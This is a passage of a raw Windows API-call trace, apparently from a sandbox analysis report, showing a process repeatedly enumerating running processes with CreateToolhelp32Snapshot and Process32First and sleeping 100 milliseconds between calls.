CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ab8 [0171.929] Process32First (in: hSnapshot=0x1ab8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.104] Sleep (dwMilliseconds=0x64) [0172.221] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1aac [0172.239] Process32First (in: hSnapshot=0x1aac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.340] Sleep (dwMilliseconds=0x64) [0172.442] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1aac [0172.466] Process32First (in: hSnapshot=0x1aac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.541] Sleep (dwMilliseconds=0x64) [0172.642] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cf0 [0172.856] Process32First (in: hSnapshot=0x1cf0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.934] Sleep (dwMilliseconds=0x64) [0173.099] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c90 [0173.131] Process32First (in: hSnapshot=0x1c90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.235] Sleep (dwMilliseconds=0x64) [0173.336] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cf8 [0173.349] Process32First (in: hSnapshot=0x1cf8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.439] Sleep (dwMilliseconds=0x64) [0173.550] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c80 [0173.564] Process32First (in: hSnapshot=0x1c80, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.704] Sleep (dwMilliseconds=0x64) [0173.830] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ce8 [0173.854] Process32First (in: hSnapshot=0x1ce8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.051] Sleep (dwMilliseconds=0x64) [0174.151] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c58 [0174.166] Process32First (in: hSnapshot=0x1c58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.238] Sleep (dwMilliseconds=0x64) [0174.347] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae8 [0174.359] Process32First (in: hSnapshot=0x1ae8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.491] Sleep (dwMilliseconds=0x64) [0174.634] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ce0 [0174.656] Process32First (in: hSnapshot=0x1ce0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.871] Sleep (dwMilliseconds=0x64) [0174.971] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ce0 [0174.996] Process32First (in: hSnapshot=0x1ce0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.153] Sleep (dwMilliseconds=0x64) [0175.283] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c90 [0175.299] Process32First (in: hSnapshot=0x1c90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.511] Sleep (dwMilliseconds=0x64) [0175.612] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x217c [0175.625] Process32First (in: hSnapshot=0x217c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.706] Sleep (dwMilliseconds=0x64) [0175.824] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0175.838] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.027] Sleep (dwMilliseconds=0x64) [0176.127] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cf0 [0176.139] Process32First (in: hSnapshot=0x1cf0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.219] Sleep (dwMilliseconds=0x64) [0176.320] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0176.344] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.423] Sleep (dwMilliseconds=0x64) [0176.581] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0176.593] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.672] Sleep (dwMilliseconds=0x64) [0176.773] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c88 [0176.789] Process32First (in: hSnapshot=0x1c88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.882] Sleep (dwMilliseconds=0x64) [0177.029] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0177.042] Process32First (in: hSnapshot=0x1a90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.109] Sleep (dwMilliseconds=0x64) [0177.209] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c88 [0177.246] Process32First (in: hSnapshot=0x1c88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.311] Sleep (dwMilliseconds=0x64) [0177.412] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ccc [0177.424] Process32First (in: hSnapshot=0x1ccc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.533] Sleep (dwMilliseconds=0x64) [0177.634] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2178 [0177.650] Process32First (in: hSnapshot=0x2178, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.859] Sleep (dwMilliseconds=0x64) [0177.959] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218c [0177.976] Process32First (in: hSnapshot=0x218c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.062] Sleep (dwMilliseconds=0x64) [0178.236] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21a0 [0178.248] Process32First (in: hSnapshot=0x21a0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.319] Sleep (dwMilliseconds=0x64) [0178.420] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21a0 [0178.436] Process32First (in: hSnapshot=0x21a0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.520] Sleep (dwMilliseconds=0x64) [0178.651] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x219c [0178.783] Process32First (in: hSnapshot=0x219c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.900] Sleep (dwMilliseconds=0x64) [0179.001] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21a4 [0179.025] Process32First (in: hSnapshot=0x21a4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.202] Sleep (dwMilliseconds=0x64) [0179.302] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0179.315] Process32First (in: hSnapshot=0x1a90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.393] Sleep (dwMilliseconds=0x64) [0179.552] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b0 [0179.569] Process32First (in: hSnapshot=0x21b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.635] Sleep (dwMilliseconds=0x64) [0179.736] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1acc [0179.751] Process32First (in: hSnapshot=0x1acc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.836] Sleep (dwMilliseconds=0x64) [0179.994] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b0 [0180.008] Process32First (in: hSnapshot=0x21b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.224] Sleep (dwMilliseconds=0x64) [0180.415] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b0 [0180.428] Process32First (in: hSnapshot=0x21b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.560] Sleep (dwMilliseconds=0x64) [0180.660] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0180.674] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.749] Sleep (dwMilliseconds=0x64) [0180.924] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0180.939] Process32First (in: hSnapshot=0x21c4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.031] Sleep (dwMilliseconds=0x64) [0181.131] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cd4 [0181.154] Process32First (in: hSnapshot=0x1cd4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.242] Sleep (dwMilliseconds=0x64) [0181.245] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cd4 [0181.324] Process32First (in: hSnapshot=0x1cd4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.401] Sleep (dwMilliseconds=0x64) [0181.403] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cd4 [0181.415] Process32First (in: hSnapshot=0x1cd4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.497] Sleep (dwMilliseconds=0x64) [0181.686] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cd4 [0181.704] Process32First (in: hSnapshot=0x1cd4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.774] Sleep (dwMilliseconds=0x64) [0181.777] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cd4 [0181.788] Process32First (in: hSnapshot=0x1cd4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.886] Sleep (dwMilliseconds=0x64) [0181.900] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218c [0181.917] Process32First (in: hSnapshot=0x218c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.046] Sleep (dwMilliseconds=0x64) [0182.047] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218c [0182.064] Process32First (in: hSnapshot=0x218c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.235] Sleep (dwMilliseconds=0x64) [0182.290] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0182.346] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.513] Sleep (dwMilliseconds=0x64) [0182.522] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cd4 [0182.541] Process32First (in: hSnapshot=0x1cd4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.665] Sleep (dwMilliseconds=0x64) [0182.690] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0182.713] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.836] Sleep (dwMilliseconds=0x64) [0182.839] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0182.856] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.982] Sleep (dwMilliseconds=0x64) [0183.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2190 [0183.014] Process32First (in: hSnapshot=0x2190, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.113] Sleep (dwMilliseconds=0x64) [0183.143] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0183.157] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.227] Sleep (dwMilliseconds=0x64) [0183.256] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0183.278] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.363] Sleep (dwMilliseconds=0x64) [0183.365] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0183.383] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.553] Sleep (dwMilliseconds=0x64) [0183.555] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0183.570] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.691] Sleep (dwMilliseconds=0x64) [0183.711] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0183.724] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.822] Sleep (dwMilliseconds=0x64) [0183.825] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0183.838] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.937] Sleep (dwMilliseconds=0x64) [0183.941] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0183.953] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.020] Sleep (dwMilliseconds=0x64) [0184.021] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0184.066] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.131] Sleep (dwMilliseconds=0x64) [0184.133] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0184.148] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.246] Sleep (dwMilliseconds=0x64) [0184.248] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0184.260] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.348] Sleep (dwMilliseconds=0x64) [0184.363] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0184.378] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.441] Sleep (dwMilliseconds=0x64) [0184.468] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2190 [0184.529] Process32First (in: hSnapshot=0x2190, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.732] Sleep (dwMilliseconds=0x64) [0184.780] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0184.796] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, 